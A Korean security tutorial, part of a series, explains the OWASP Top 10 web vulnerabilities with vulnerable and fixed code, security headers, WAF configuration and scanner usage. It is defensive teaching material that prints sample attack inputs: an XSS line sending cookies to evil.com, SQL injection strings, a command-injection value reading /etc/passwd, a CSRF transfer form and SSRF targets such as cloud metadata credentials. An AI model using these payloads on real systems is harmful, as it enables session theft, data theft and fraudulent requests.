네트워크 보안 기초부터 실전까지 6편: 웹 보안과 OWASP Top 10
Network Security Series Part 6: Web Security and OWASP Top 10
서론: 웹 애플리케이션 보안의 중요성
현대 비즈니스의 대부분은 웹 애플리케이션을 통해 운영됩니다. 온라인 쇼핑, 금융 서비스, 소셜 미디어, 기업 내부 시스템까지 웹 기반 서비스가 핵심 인프라로 자리잡았습니다. 이에 따라 웹 애플리케이션은 공격자들의 주요 타겟이 되었으며, 웹 보안은 기업 보안의 최전선이 되었습니다.
OWASP(Open Web Application Security Project)는 웹 애플리케이션 보안 분야에서 가장 권위 있는 비영리 조직으로, 주기적으로 가장 심각한 웹 보안 위험 목록인 "OWASP Top 10"을 발표합니다. 이번 글에서는 OWASP Top 10 2021을 기반으로 주요 웹 취약점과 방어 방법을 상세히 알아보겠습니다.
1. OWASP Top 10 2021 개요
OWASP Top 10 2021은 가장 최신 버전으로, 이전 버전(2017)에서 상당한 변화가 있었습니다.
| 순위 | 취약점 | 설명 |
|---|---|---|
| A01 | Broken Access Control | 접근 제어 실패 |
| A02 | Cryptographic Failures | 암호화 실패 |
| A03 | Injection | 인젝션 공격 |
| A04 | Insecure Design | 안전하지 않은 설계 |
| A05 | Security Misconfiguration | 보안 설정 오류 |
| A06 | Vulnerable and Outdated Components | 취약한 구성 요소 |
| A07 | Identification and Authentication Failures | 인증 실패 |
| A08 | Software and Data Integrity Failures | 소프트웨어 무결성 실패 |
| A09 | Security Logging and Monitoring Failures | 로깅 및 모니터링 실패 |
| A10 | Server-Side Request Forgery (SSRF) | 서버 측 요청 위조 |
2. A01: Broken Access Control (접근 제어 실패)
접근 제어 실패는 2021년 Top 10에서 1위를 차지했습니다. 사용자가 자신의 권한을 벗어난 행동을 할 수 있을 때 발생합니다.
2.1 취약점 유형
- 수직적 권한 상승: 일반 사용자가 관리자 기능에 접근
- 수평적 권한 상승: 다른 사용자의 데이터에 접근
- IDOR (Insecure Direct Object Reference): URL 파라미터 조작으로 다른 사용자 데이터 접근
- 경로 탐색: 디렉터리 트래버설을 통한 파일 접근
2.2 취약한 코드 예시
# 취약한 코드 - IDOR 취약점
@app.route('/api/user/<user_id>/profile')
def get_user_profile(user_id):
# 현재 로그인한 사용자인지 확인하지 않음
user = User.query.get(user_id)
return jsonify(user.to_dict())
# 취약한 코드 - 관리자 기능 접근 제어 없음
@app.route('/admin/delete_user/<user_id>')
def delete_user(user_id):
User.query.filter_by(id=user_id).delete()
return "User deleted"
2.3 안전한 코드 예시
# 안전한 코드 - IDOR 방어
@app.route('/api/user/<user_id>/profile')
@login_required
def get_user_profile(user_id):
# 현재 로그인한 사용자만 자신의 프로필 접근 가능
if current_user.id != int(user_id):
abort(403) # Forbidden
user = User.query.get(user_id)
return jsonify(user.to_dict())
# 안전한 코드 - 역할 기반 접근 제어
@app.route('/admin/delete_user/<user_id>')
@login_required
@admin_required # 데코레이터로 관리자 권한 확인
def delete_user(user_id):
if not current_user.is_admin:
abort(403)
User.query.filter_by(id=user_id).delete()
return "User deleted"
3. A03: Injection (인젝션 공격)
인젝션 공격은 신뢰할 수 없는 데이터가 명령어나 쿼리의 일부로 전송될 때 발생합니다. SQL Injection이 가장 대표적입니다.
3.1 SQL Injection 공격 유형
- Classic SQL Injection: 에러 메시지를 통해 정보 추출
- Blind SQL Injection: 참/거짓 응답을 통해 정보 추출
- Time-based Blind SQL Injection: 응답 시간 차이를 통해 정보 추출
- Union-based SQL Injection: UNION 절을 이용해 데이터 추출
3.2 SQL Injection 공격 예시
-- 취약한 로그인 쿼리
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
-- 공격자 입력: username = admin'--
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
-- 결과: 비밀번호 검증 우회
-- Union 기반 공격
SELECT name, description FROM products WHERE id = 1 UNION SELECT username, password FROM users--
-- Time-based Blind SQL Injection
SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '0:0:5'--
3.3 SQL Injection 방어
# 취약한 코드
def get_user(username):
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
return cursor.fetchone()
# 안전한 코드 - Prepared Statement (매개변수화된 쿼리)
def get_user(username):
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
return cursor.fetchone()
# ORM 사용 (SQLAlchemy)
def get_user(username):
return User.query.filter_by(username=username).first()
// Java - PreparedStatement 사용
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
3.4 기타 Injection 공격
# Command Injection 취약점
import os
def ping_host(host):
os.system(f"ping -c 4 {host}") # 취약!
# 공격: host = "8.8.8.8; cat /etc/passwd"
# 안전한 코드
import subprocess
def ping_host(host):
# 입력 검증
if not re.match(r'^[\d.]+$', host):
raise ValueError("Invalid host")
subprocess.run(['ping', '-c', '4', host], capture_output=True)
4. A07: Identification and Authentication Failures
인증 관련 취약점은 세션 관리, 비밀번호 정책, 다단계 인증 등 다양한 영역에서 발생합니다.
4.1 취약점 유형
- 약한 비밀번호 허용
- Credential Stuffing 공격에 취약
- 세션 고정 (Session Fixation)
- 세션 ID가 URL에 노출
- 안전하지 않은 비밀번호 복구
4.2 안전한 인증 구현
from flask import Flask, session
from werkzeug.security import generate_password_hash, check_password_hash
import secrets
app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_hex(32)
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
# 비밀번호 해싱
def create_user(username, password):
# 비밀번호 복잡성 검증
if len(password) < 12:
raise ValueError("Password too short")
if not re.search(r'[A-Z]', password):
raise ValueError("Password needs uppercase")
if not re.search(r'[a-z]', password):
raise ValueError("Password needs lowercase")
if not re.search(r'\d', password):
raise ValueError("Password needs digit")
hashed = generate_password_hash(password, method='pbkdf2:sha256:310000')
# 또는 bcrypt, argon2 사용
User.create(username=username, password_hash=hashed)
# 로그인 시도 제한
from flask_limiter import Limiter
limiter = Limiter(app)
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute") # 분당 5회 제한
def login():
username = request.form['username']
password = request.form['password']
user = User.query.filter_by(username=username).first()
if user and check_password_hash(user.password_hash, password):
session.regenerate() # 세션 ID 재생성
session['user_id'] = user.id
return redirect('/dashboard')
# 실패 시 일반적인 메시지 (정보 누출 방지)
return "Invalid credentials", 401
5. XSS (Cross-Site Scripting) 공격과 방어
XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행되게 하는 공격입니다.
5.1 XSS 유형
- Stored XSS: 악성 스크립트가 서버에 저장되어 다른 사용자에게 전달
- Reflected XSS: 악성 스크립트가 URL을 통해 반사되어 실행
- DOM-based XSS: 클라이언트 측 JavaScript에서 발생
5.2 XSS 공격 예시
<!-- Stored XSS: 게시판 댓글 -->
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
<!-- Reflected XSS: 검색 결과 페이지 -->
https://example.com/search?q=<script>alert('XSS')</script>
<!-- 다양한 XSS 페이로드 -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">
<iframe src="javascript:alert('XSS')">
5.3 XSS 방어
# Python Flask - 자동 이스케이핑 (Jinja2)
from markupsafe import escape
@app.route('/search')
def search():
query = request.args.get('q', '')
# 템플릿에서 자동 이스케이핑
return render_template('search.html', query=query)
# 수동 이스케이핑이 필요한 경우
safe_input = escape(user_input)
// JavaScript에서 안전한 DOM 조작
// 취약한 코드
element.innerHTML = userInput;
// 안전한 코드
element.textContent = userInput;
// 또는 DOMPurify 라이브러리 사용
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
5.4 Content Security Policy (CSP)
# Nginx에서 CSP 헤더 설정
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-randomvalue' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.googleapis.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
" always;
<!-- HTML에서 nonce 사용 -->
<script nonce="randomvalue">
// 이 스크립트만 실행됨
console.log('Allowed script');
</script>
6. CSRF (Cross-Site Request Forgery)
CSRF는 인증된 사용자의 권한을 이용해 공격자가 원하는 요청을 전송하게 하는 공격입니다.
6.1 CSRF 공격 예시
<!-- 악성 웹사이트에 삽입된 CSRF 공격 코드 -->
<!-- 이미지 태그를 이용한 GET 요청 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
<!-- 폼을 이용한 POST 요청 -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>
6.2 CSRF 방어
# Flask-WTF를 이용한 CSRF 토큰
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)
# 템플릿에서 CSRF 토큰 사용
# <form method="post">
# {{ csrf_token() }}
# ...
# </form>
# AJAX 요청 시
# headers: {'X-CSRFToken': csrf_token}
// JavaScript에서 CSRF 토큰 포함
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({to: 'recipient', amount: 100})
});
6.3 SameSite Cookie 설정
# Flask 세션 쿠키 설정
app.config.update(
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SAMESITE='Strict' # 또는 'Lax'
)
7. SSRF (Server-Side Request Forgery)
SSRF는 서버가 공격자가 지정한 URL로 요청을 보내게 하는 공격입니다. 내부 네트워크 접근, 클라우드 메타데이터 탈취 등에 악용됩니다.
7.1 SSRF 공격 시나리오
# AWS 메타데이터 탈취
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 내부 서비스 접근
http://localhost:8080/admin
http://192.168.1.1/router-config
# 파일 읽기
file:///etc/passwd
7.2 SSRF 방어
import ipaddress
from urllib.parse import urlparse
def is_safe_url(url):
"""SSRF 방어를 위한 URL 검증"""
try:
parsed = urlparse(url)
# 프로토콜 검증
if parsed.scheme not in ['http', 'https']:
return False
# IP 주소 검증
hostname = parsed.hostname
if hostname:
try:
ip = ipaddress.ip_address(hostname)
# 사설 IP, 루프백, 링크 로컬 차단
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except ValueError:
# 도메인인 경우 - 화이트리스트 검증
allowed_domains = ['api.trusted.com', 'cdn.example.com']
if hostname not in allowed_domains:
# DNS 리바인딩 방지를 위해 IP 확인
import socket
resolved_ip = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved_ip)
if ip.is_private or ip.is_loopback:
return False
return True
except Exception:
return False
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
if not is_safe_url(url):
abort(400, "Invalid URL")
response = requests.get(url, timeout=5)
return response.content
8. 보안 헤더 설정
8.1 주요 보안 헤더
# Nginx 보안 헤더 설정
server {
# XSS 필터 활성화
add_header X-XSS-Protection "1; mode=block" always;
# MIME 스니핑 방지
add_header X-Content-Type-Options "nosniff" always;
# 클릭재킹 방지
add_header X-Frame-Options "DENY" always;
# HTTPS 강제 (HSTS)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
# Referrer 정책
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# 권한 정책
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
# Content Security Policy
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';" always;
}
8.2 Apache 설정
# .htaccess 또는 httpd.conf
Header always set X-XSS-Protection "1; mode=block"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Content-Security-Policy "default-src 'self'"
8.3 Express.js (Helmet 미들웨어)
const express = require('express');
const helmet = require('helmet');
const app = express();
// 기본 보안 헤더 설정
app.use(helmet());
// 상세 설정
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
frameguard: { action: 'deny' },
noSniff: true,
xssFilter: true
}));
9. WAF (Web Application Firewall)
9.1 WAF 개념
WAF는 웹 애플리케이션과 인터넷 사이에서 HTTP 트래픽을 필터링하고 모니터링하는 보안 솔루션입니다. SQL Injection, XSS, CSRF 등 다양한 웹 공격을 차단합니다.
WAF 동작 방식:
- 시그니처 기반: 알려진 공격 패턴 매칭
- 행동 기반: 비정상적인 요청 패턴 탐지
- ML/AI 기반: 머신러닝으로 새로운 공격 탐지
9.2 ModSecurity 설정 (오픈소스 WAF)
# ModSecurity 설치 (Ubuntu + Nginx)
sudo apt install libmodsecurity3 libmodsecurity-dev
sudo apt install libnginx-mod-http-modsecurity
# OWASP CRS (Core Rule Set) 다운로드
cd /etc/nginx
sudo git clone https://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf
# Nginx ModSecurity 설정
# /etc/nginx/modsec/modsecurity.conf
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess On
SecResponseBodyMimeType text/plain text/html text/xml
SecDataDir /tmp/
SecAuditEngine RelevantOnly
SecAuditLog /var/log/nginx/modsec_audit.log
# Nginx 서버 블록에서 활성화
server {
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/main.conf;
location / {
proxy_pass http://backend;
}
}
9.3 클라우드 WAF 서비스
- AWS WAF: AWS 환경에 통합, CloudFront, ALB와 연동
- Cloudflare WAF: CDN과 통합된 WAF 서비스
- Azure WAF: Application Gateway와 통합
- Google Cloud Armor: GCP 로드밸런서와 통합
# AWS WAF CLI로 규칙 생성 예시
aws wafv2 create-web-acl \
--name "MyWebACL" \
--scope REGIONAL \
--default-action '{"Allow": {}}' \
--rules '[
{
"Name": "SQLInjectionRule",
"Priority": 1,
"Statement": {
"SqliMatchStatement": {
"FieldToMatch": {"AllQueryArguments": {}},
"TextTransformations": [{"Priority": 0, "Type": "URL_DECODE"}]
}
},
"Action": {"Block": {}},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "SQLInjection"
}
}
]' \
--visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=MyWebACL
10. 웹 취약점 스캐너
10.1 OWASP ZAP (Zed Attack Proxy)
OWASP ZAP는 무료 오픈소스 웹 애플리케이션 보안 스캐너입니다.
# Docker로 OWASP ZAP 실행
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://example.com
# API를 통한 스캔
docker run -u zap -p 8080:8080 -d owasp/zap2docker-stable zap.sh -daemon -host 0.0.0.0 -port 8080
# Python API 사용
from zapv2 import ZAPv2
zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://localhost:8080'})
# Spider 실행
scan_id = zap.spider.scan('https://example.com')
while int(zap.spider.status(scan_id)) < 100:
time.sleep(5)
# Active Scan 실행
scan_id = zap.ascan.scan('https://example.com')
while int(zap.ascan.status(scan_id)) < 100:
time.sleep(5)
# 결과 출력
print(zap.core.alerts())
10.2 Nikto
Nikto는 웹 서버 취약점 스캐너로, 서버 설정 오류, 취약한 파일 등을 탐지합니다.
# Nikto 설치 및 실행
sudo apt install nikto
# 기본 스캔
nikto -h https://example.com
# SSL 스캔
nikto -h https://example.com -ssl
# 특정 포트 스캔
nikto -h example.com -p 8080
# 결과를 파일로 저장
nikto -h https://example.com -o report.html -Format html
# 튜닝 옵션 (특정 테스트만 수행)
# 1 - 흥미로운 파일/CGI
# 2 - 기본 파일
# 3 - 정보 누출
# 4 - 인젝션 (XSS/스크립트/HTML)
nikto -h https://example.com -Tuning 1234
10.3 Burp Suite
Burp Suite는 웹 애플리케이션 보안 테스트를 위한 통합 플랫폼입니다.
# Burp Suite 프록시 설정 (브라우저에서)
HTTP Proxy: 127.0.0.1:8080
# 주요 기능:
# - Proxy: HTTP/HTTPS 트래픽 가로채기 및 수정
# - Spider: 웹 사이트 크롤링
# - Scanner: 자동 취약점 스캔 (Pro 버전)
# - Intruder: 자동화된 공격 (무차별 대입 등)
# - Repeater: 요청 수동 수정 및 재전송
# - Decoder: 인코딩/디코딩 도구
# - Comparer: 응답 비교
10.4 자동화된 보안 테스트 파이프라인
# GitHub Actions - 보안 스캔 워크플로우
name: Security Scan
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run OWASP ZAP Baseline Scan
uses: zaproxy/action-baseline@v0.7.0
with:
target: 'https://staging.example.com'
rules_file_name: '.zap/rules.tsv'
- name: Run Nikto Scan
run: |
docker run --rm frapsoft/nikto -h https://staging.example.com -o /dev/stdout
- name: Upload ZAP Report
uses: actions/upload-artifact@v3
with:
name: zap-report
path: report_html.html
결론
웹 애플리케이션 보안은 다층 방어(Defense in Depth) 전략이 필수적입니다. 이번 글에서 다룬 내용을 요약하면:
- OWASP Top 10: 가장 중요한 웹 보안 위험 목록 숙지
- 입력 검증: 모든 사용자 입력은 잠재적으로 위험하므로 철저한 검증 필요
- 출력 인코딩: XSS 방지를 위한 적절한 이스케이핑
- 인증/인가: 강력한 인증 메커니즘과 세분화된 권한 관리
- 보안 헤더: CSP, HSTS 등 브라우저 보안 기능 활용
- WAF: 추가적인 보안 계층으로 알려진 공격 패턴 차단
- 정기적인 스캔: 취약점 스캐너를 통한 지속적인 보안 점검
웹 보안은 개발 초기 단계부터 고려해야 하며(Shift Left Security), CI/CD 파이프라인에 보안 테스트를 통합하는 DevSecOps 접근 방식이 권장됩니다. 다음 편에서는 네트워크 모니터링과 로그 분석에 대해 알아보겠습니다.